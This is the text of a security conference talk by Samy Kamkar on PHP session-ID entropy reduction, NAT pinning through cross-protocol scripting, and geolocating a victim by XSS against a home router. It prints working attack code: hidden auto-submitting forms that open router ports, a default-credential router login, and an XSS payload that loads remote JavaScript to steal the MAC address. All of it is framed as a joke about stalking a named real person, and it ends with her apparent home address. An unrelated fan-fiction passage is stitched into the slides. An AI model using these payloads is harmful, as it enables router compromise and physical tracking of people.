How I Met Your Girlfriend:

The discovery and execution of entirely new classes of Web attacks in order to meet your girlfriend.

Samy Kamkar
samy@samy.pl
http://samy.pl
Twitter: @SamyKamkar
Who is samy?

- "Narcissistic Vulnerability Pimp" (aka Security Researcher for fun)
- Creator of The MySpace Worm
- Author of Evercookies
- Co-Founder of Fonality, IP PBX company
- Lady Gaga aficionado
Cyber Warrior

- Raided
- Computer use lost (Hackers-style)
- 700 hours of community service
- Restitution
- Probation
Why the web?

- It’s new, it’s cool, it’s exploitable!
- Gopher isn’t used as much anymore
- The web is a code distribution channel
- Browsers can communicate in ways they don’t know
- And much more!
My Homepage

- It's new, it's cool, it's exploitable!
- Gopher isn't used as much anymore
- The web is a code distribution channel
- Browsers can communicate in ways they don't know
- And much more!

Anna Faris

- Add as Friend

Wall Info

Anna only shares some of her profile information with everyone. If you know Anna, send her a message or add her as a friend.

About Me

- Basic Info: Sex: Yes, please

  Relationship Status: In a Relationship with Robert "RSnake" Hansen

Likes and Interests

- Music: Application Security, Nerds, bananas, Samy, rainbows

Send Anna a Message

Information

Relationship Status:
In a Relationship with Robert "RSnake" Hansen

Show other Pages
Attack Indirectly

- Certified Information Security Specialist Professional
- Chief Executive Officer of SecTheory
- Co-Author of « XSS Exploits: Cross Site Scripting Attacks and Defense »
- Author of « Detecting Malace »
- Co-developer of Clickjacking with Jeremiah Grossman
- Runs ha.ckers.org and sla.ckers.org
- Certified ASS (Application Security Specialist)
Attack Indirectly

• Robert « Rsnake » Hansen
• How do we attack someone who secures himself well?
• Don’t.
Attack Indirectly

http://www.facebook.com/index.php
PHP: Overview

- PHP: extremely common web language
- PHP sessions: extremely common default session management
- PHP sessions: used by default in most PHP frameworks (e.g., CakePHP)
- PHP sessions: either passed in URL or...
C is for Cookie!
PHP Sessions: Overview

- `session_start()` – initialize PHP session
PHP Sessions: Entropy

- `session_start()`’s pseudo-random data:
  - **IP address:** 32 bits
  - **Epoch:** 32 bits
  - **Microseconds:** 32 bits
  - **Random `lcg_value()` (PRNG):** 64 bits

- **TOTAL:** 160 bits

- **SHA1’d:** 160 bits

- **160 bits = a lot =**
  
  1,461,501,637,330,902,918,203,684,832,716,283,019,655,932,542,976
How big is a bit? Some tricks

- For every 10 bits, add ~3 zeros
- 10 bits = \(1,024\) (thousand)
- 20 bits = \(1,048,576\) (mil)
- 30 bits = \(1,073,741,824\)
- 25 bits = \(~32,000,000\)
• 160 bits = $2^{160} \approx 10^{48}$

• 160 bits =

1,461,501,637,330,902,918,203,684,832,716,283,019,655,932,542,976

• At 100 trillion values per second, 160 bits would take...

• $(2^{160}) / (10^{14}) / (3600 \times 24 \times 365 \times 500000000) = 926,878,258,073,885,666 = 900$ quadrillion eons

• 1 eon = 500 million years
PHP Sessions: Entropy

- `session_start()`’s pseudo-random data:
  - IP address: 32 bits
  - Epoch: 32 bits
  - Microseconds: 32 bits
  - Random `lcg_value()` (PRNG): 64 bits
- TOTAL: 160 bits
- SHA1’d: 160 bits

160 bits = a lot =
1,461,501,637,330,902,918,203,684,832,716,
283,019,655,932,542,976
PHP Sessions: Entropy Redux

- Not so pseudo-random data:
- IP address: **32 bits**
- Epoch: **32 bits**
- Microseconds: **32 bits**
  - only 0 – 999,999 ... 20 bits = 1,048,576
  - < 20 bits! \( \text{(REDUCED)} \) -12 bits
- Random `lcg_value()` (PRNG): **64 bits**
- TOTAL: **148 bits** (reduced by 12 bits)
- SHA1’d: **160 bits**
An Example: Facebook
PHP Sessions: Entropy Redux

- Not so pseudo-random data:
- IP address: 32 bits
- Epoch: 32 bits (ACQUIRED) -32 bits
- Microseconds: 32 bits
  - only 0 – 999,999 ... 20 bits = 1,048,576
  - < 20 bits! (REDUCED) -12 bits
- Random lcg_value() (PRNG): 64 bits
- TOTAL: 116 bits (reduced by 44 bits)
- SHA1’d: 160 bits
An Example: Facebook
PHP Sessions: Entropy Redux

• Not so pseudo-random data:
• IP address: 32 bits (ACQUIRED) - 32 bits
• Epoch: 32 bits (ACQUIRED) - 32 bits
• Microseconds: 32 bits
  – only 0 – 999,999 ... 20 bits = 1,048,576
  – < 20 bits! (REDUCED) - 12 bits
• Random lcg_value() (PRNG): 64 bits
• TOTAL: 84 bits (reduced by 76 bits)
• SHA1’d: 160 bits
PHP LCG (PRNG): Randomness

- `php_combined_lcg()` / PHP `func lcg_value()`
PHP LCG (PRNG): Randomness

\[ LCG(s1) = tv.tv_sec ^ (\sim tv.tv_usec) \]
\[ LCG(s1) = epoch ^ (\sim [20 \text{ random bits}]) \]

\[ \sim 0 = 11111111111111111111111111111111 \]
\[ \sim 1,000,000 = 11111111111111111111111111111111 (\text{same 12 bits}) \]

\[ \text{epoch} = 1279493871 \]
\[ \text{epoch} = 01001100010001110001101110111111 (\text{static / unknown}) \]
\[ \text{epoch}^\dagger = 01001100010000000000000000000000 \]
\[ \text{epochv} = 0100110001001111111111111111111111 \]

\[ \text{epoch}^\dagger = \text{Thu Jul 15 23:45:20 2010} \]
\[ \text{epochv} = \text{Wed Jul 28 03:01:35 2010} \]
\[ \text{epoch diff} = 12+ \text{ days} \]

- S1 WAS 32 bits, NOW 20 bits
- SEED (s1+s2): 64 bits – 12 bits = 52 bits
PHP LCG (PRNG): Randomness

- $\text{LCG}(s2) = \text{(long)} \text{ getpid}();$
- $S2 = 32$ bits
- Linux only uses 15 bits for PIDs
- $S2 = 32$ bits $- 17$ bits $= 15$ bits
- $\text{SEED } (s1+s2) = 15$ bits $+ 20$ bits $= 35$ bits
- PHP function: getmypid()
- Linux command: ps
- Learn PID, reduce the other 15 bits!
- $\text{SEED } (s1+s2) = 0$ bits $+ 20$ bits $= 20$ bits
PHP Sessions: Entropy Redux

- Not so pseudo-random data:
- IP address: 32 bits (ACQUIRED) - 32 bits
- Epoch: 32 bits (ACQUIRED) - 32 bits
- Microseconds: 32 bits
  - only 0 – 999,999 ... 20 bits = 1,048,576
  - < 20 bits! (REDUCED) - 12 bits
- Random lcg_value (REDUCED) - 44 bits
- TOTAL: 40 bits (reduced by 120 bits)
- SHA1’d: 160 bits
PHP Sessions: Entropy Redux

- Microseconds: 32 bits down to 20 bits
- Random lcg_value down to 20 bits
- 40 bits? No! We can calc lcg_value() first!
- With a time-memory trade-off (4 MB), we can learn the lcg_value original seed in a few seconds, REDUCING to 20 bits!
- 40 bits – 20 bits = 20 bits

20 bits = 1,048,576 cookies
GREAT SUCCESS!

• 500,000 requests on average!
• Can be completed in hours
You down with entropy?
Yeah you know me!

- PHP 5.3.2: a bit more entropy
- Create your own session values!
- Attack is difficult to execute!
- PS, Facebook is NOT vulnerable!
- <3 Facebook
- Please help my farmville

* Thanks to Arshan Dabirsiaghi and Amit Klein for pointing me in the right direction
GREAT SUCCESS!

- Using old victim’s cookie, message our new victim with a malicious link!

New Message

To: Anna Faris

Subject: hey baby

Message:
Hey baby, I miss you and all the deviant, yet somewhat humiliating things you do to me.

Babe help me grow some more crops in Farmville, we need more strawberries. http://namb.la/farmvillencrops.exe
This is your network.
This is your network on drugs.
A NAT
Cross-Protocol Scripting (XPS)

• HTTP servers can run on any port
• A hidden form can auto-submit data to any port via JS form.submit()
• HTTP is a newline-based protocol
• So are other protocols....hmmmm
Cross-Protocol Scripting: Examples in the real world

• Let’s write an IRC client in HTTP!
• This uses the CLIENT’s computer to connect, thus using their IP address!

<Guo_Si> Hey, you know what sucks?
<TheXPhial> vacuums
<Guo_Si> Hey, you know what sucks in a metaphorical sense?
<TheXPhial> black holes
<Guo_Si> Hey, you know what just isn’t cool?
<TheXPhial> lava?
IRC Example

donttassemebro:~ samy$ telnet irc.efnet.org 6667
Trying 205.210.145.3...
Connected to irc.efnet.org.
Escape character is '^['.
NOTICE AUTH :*** Processing connection to irc.igs.ca
NOTICE AUTH :*** Looking up your hostname...
NOTICE AUTH :*** Checking Iden
NOTICE AUTH :*** Found your hostname
USER samy samy samy samy
NICK samy
NOTICE AUTH :*** No Iden response
PING :066C2988
PONG :066C2988
:irc.igs.ca 001 samy :Welcome to the EFNet Internet Relay Chat Network samy
JOIN #hackers
:samy!~samy@cpe-76-123-123-123.socal.res.rr.com JOIN :#hackers
:irc.igs.ca MODE #hackers +nt
PRIVMSG #hackers :where can i download winnuke for vista?
Hosting the XPS
// create a FORM
gibson = document.createElement("form");

// set FORM attributes
gibson.setAttribute("name", "B");
gibson.setAttribute("target", "A");
gibson.setAttribute("method", "post");
// IRC server to talk to
gibson.setAttribute("action", "http://irc.efnet.org:6667");
// use multipart/form-data to keep newlines in tact
gibson.setAttribute("enctype", "multipart/form-data");

// create a textarea for our "form data"
crashoverride = document.createElement("textarea");
crashoverride.setAttribute("name", "C");

// set our form data
postdata = "USER A B C D \nNICK turtle\nJOIN #hack\n    PRIVMSG #hackers : i like turtles \n";
crashoverride.setAttribute("value", postdata);
crashoverride.innerText = postdata;
crashoverride.innerHTML = postdata;
gibson.appendChild(crashoverride);
document.body.appendChild(gibson);
gibson.submit(); // SUBMIT "FORM"!
HTTP POST w/IRC content

POST / HTTP/1.1
Host: irc.efnet.org:6667
Connection: keep-alive
Referer: http://samy.pl/natpin/irc.php
Content-Length: 197
Cache-Control: max-age=0
Origin: http://samy.pl
Content-Type: multipart/form-data; boundary=
   -----WebKitFormBoundaryvlEqoEUtuAbU0Sfu

-----WebKitFormBoundaryvlEqoEUtuAbU0Sfu
Content-Disposition: form-data; name="C"

USER samy samy samy samy
NICK samy
JOIN #hackers
PRIVMSG #hackers :i like turtles

-----WebKitFormBoundaryvlEqoEUtuAbU0Sfu--
NAT Pinning: XPS times OVER 9,000

- Sweet! So what is NAT Pinning?
- NAT Pinning confuses not only the browser, but also the ROUTER on the application layer
- E.g., when communicating with port 6667, browser thinks HTTP, router thinks IRC
- We can exploit this fact and use router conveniences to attack client
NAT Pinning: IRC DCC

- linux/net/netfilter/nf_conntrack_irc.c
- DCC chats/file sends occur on a separate port than chat
- Client sends:
  PRIVMSG samy :DCC CHAT samy IP port
- Router sees IP (determined from HTTP_REMOTE_ADDR) and port, then FORWARDS port to client!
- ANY PORT!
// create a FORM
gibson = document.createElement("form");

// set FORM attributes
gibson.setAttribute("name", "B");
gibson.setAttribute("target", "A");
gibson.setAttribute("method", "post");
// IRC server to talk to
gibson.setAttribute("action", "http://samy.pl:6667");
// use multipart/form-data to keep newlines in tact
gibson.setAttribute("enctype", "multipart/form-data");

// create a textarea for our "form data"
crashoverride = document.createElement("textarea");
crashoverride.setAttribute("name", "C");

// set our form data
x = String.fromCharCode(1);
post = 'PRIVMSG samy :'+x+'DCC CHAT samy '+x+'ip'+x+'port+x"\n";
crashoverride.setAttribute("value", post);
crashoverride.innerText = post;
crashoverride.innerHTML = post;
gibson.appendChild(crashoverride);
document.body.appendChild(gibson);
gibson.submit(); // SUBMIT "FORM"!
NAT Pinning: blocked ports

• If browser doesn’t allow outbound connections on specific ports?

• TCP / UDP ports = 16 bits = 65536

• So overflow the port! 65536 + 6667
NAT Pinning: blocked ports

- \( 6667 + 65536 = 72203 \)
- \( 6667 = 00001101000001011 \)
- \( 72203 = 10001101000001011 \)

- Some browsers check:
  
  ```python
  if port == 6667 ... but
  72203 != 6667
  ```

- Correct check: `port % 2^{16}`

* Webkit integer overflow discovered by Goatse Security
Team Jacob 66

Do you claim Team Jacob as your own? Did Jacob steal your heart? There was something about Jacob and his innocence from the very beginning. I don't know, maybe you could describe it even as a willingness to please Bella from the start. Wouldn't that be wonderful to have someone in your life that was so enamored with you, they wanted to make you happy, even if they didn't really even know you.

Of course, Edward and Jacob both would do anything to protect the one they love. This is definitely a plus for both of these hotties. However, one of the strengths that comes with Jacob is he makes me feel he would let me be the person I needed to be, not the person he needed me to be. Where on the other hand for Edward he always interjects and tells me what to do...
NAT Pinning: prevention

- Strict firewall – don’t allow unknown outbound connections
- Client side – run up to date browser
- Client side – use NoScript if using Firefox
- Client side – run local firewall or tool like LittleSnitch to know if an application is accessing unknown ports
Penetration 2.0

To: Anna Faris
Subject: hey baby

Message:
Baby I know I'm out and I haven't been satisfying you so I think we should take our relationship to the next level and have more of an open relationship.

My friend Samy (yeah, the good looking one) is coming over tonight and is going to help satisfy you and your many needs. I'm pretty sure he'll do a good job despite his many, many character flaws. Check his twitter [http://namb.la/twitter](http://namb.la/twitter)
TRIPLE X
TRIPLE X SS
Geolocation via XXXSS
Geolocation via XXXSS

• Anna visits malicious site
Geolocation via XXXSS

- Anna visits malicious site
- XXXSS scans her local network for the type of router she uses
Geolocation via XXXSS

- Anna visits malicious site
- XXXSS scans her local network for the type of router she uses
Geolocation via XXXSS

- Anna visits a malicious site
- XXXSS scans her local network for the type of router she uses

- If necessary, log in with default credentials!
<!-- hidden iframe so user doesn't see anything -->
<iframe name="A" style="display:none"></iframe>

<!-- hidden div with forms that do the dirty work -->
<div style="visibility:hidden">

<!-- login to the router with default credentials -->
<form name="B" target="A" method="post" action="http://192.168.2.1/setup.cgi">
<input type="hidden" name="pws" value="">
<input type="hidden" name="itsbutton1" value="Submit">
<input type="hidden" name="todo" value="login">
<input type="hidden" name="this_file" value="login.html">
<input type="hidden" name="next_file" value="wls-chan.html">
<input type="hidden" name="lanuage" value="en">
<input type="hidden" name="message" value="">
<input type="hidden" name="passwd" value="">
</form>

<script>
    document.B.submit();
</script>

</div>
Geolocation via XXXSS

• Anna visits malicious site
• XXXSS scans her local network for the type of router she uses
• XSS router to load remote malicious JS

```html
<img onerror="lookupUser()"
src="http://192.168.1.1/index.cgi?
active_page=9098&req_mode=0&mimic_button_field=goto%3a+9098..&button_value=9098&ssid=samy%20was%20here
<script src=http://samy.pl/mapxss/fiospwn.js"></script>"
```
Geolocation via XXXSS

- Remote JS uses AJAX to acquire MAC

```javascript
// fiospwn.js
var xmlhttp = new XMLHttpRequest();
xmlhttp.open('GET', '/index.cgi?active%5fpage=9124&req%5fmode=0&mimic%5fbutton%5ffield=goto%3a+9124%2e%2e%2e%26button%5fvalue=9124', true);
xmlhttp.onreadystatechange = function() {
    if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
        var mac = xmlhttp.responseText.substring(xmlhttp.responseText.indexOf('00:21:63'), 17);
        mac = mac.replace(/:/g, '-');
    }
} 
xmlhttp.send();
```
Why MAC Address?

• Just Bing it!
Why MAC Address?

• Just Bing it!
• Type www.bing.com in your URL bar
Why MAC Address?

• Just Bing it!
• Type www.bing.com in your URL bar
• Type in “Google” in the search box
Why MAC Address?

• Just Bing it!
• Type www.bing.com in your URL bar
• Type in “Google” in the search box
• Hit enter!
Why MAC Address?
Geolocation via XXXSS

- Upon MAC acquisition, ask the Google
- See FF source for Location Services

POST /loc/json HTTP/1.0
Host: www.google.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv: 1.9.2b4) Gecko/20091124 Firefox/3.6b4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: none
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 127
Content-Type: text/plain; charset=UTF-8
Pragma: no-cache
Cache-Control: no-cache

{"version": "1.1.0","request_address": true,"wifi_towers": [{"mac_address": "$mac", "ssid": "g", "signal_strength": -72}]}
Geolocation via XXXSS

latitude: 36.0920029
longitude: -123.3461946
Geolocation via XXXSS

Driving directions to Casa de Faris

30 ft

1. Head south on N Formosa Ave toward Santa Monica Blvd

6153 North Formosa Avenue
West Hollywood, CA 90046

Save to My Maps

These directions are for planning purposes only. You may find that construction projects, traffic, weather, or other events may cause conditions to differ from the map results, and you should plan your route accordingly. You must obey all signs or notices regarding your route.

Map data ©2010 Google

Report a problem
Geolocation via XXXSS
NAT
Pinning:
• Strict firewall – don’t allow unknown outbound connections
• Client side – run up to date browser
• Client side – use NoScript if using Firefox
• Client side – run local firewall or tool like LittleSnitch to know if an application is accessing unknown ports

PRIVACY IS DEAD!
Q&A

A gentleman never asks.
A lady never tells.
Fin

phpwn: samy.pl/phpwn
NAT Pinning: samy.pl/natpin
Geolocation via XSS: samy.pl/mapxss

Samy Kamkar
www.samy.pl
samy@samy.pl
twitter.com/SamyKamkar

* No IRC channels were trolled in the making of this presentation.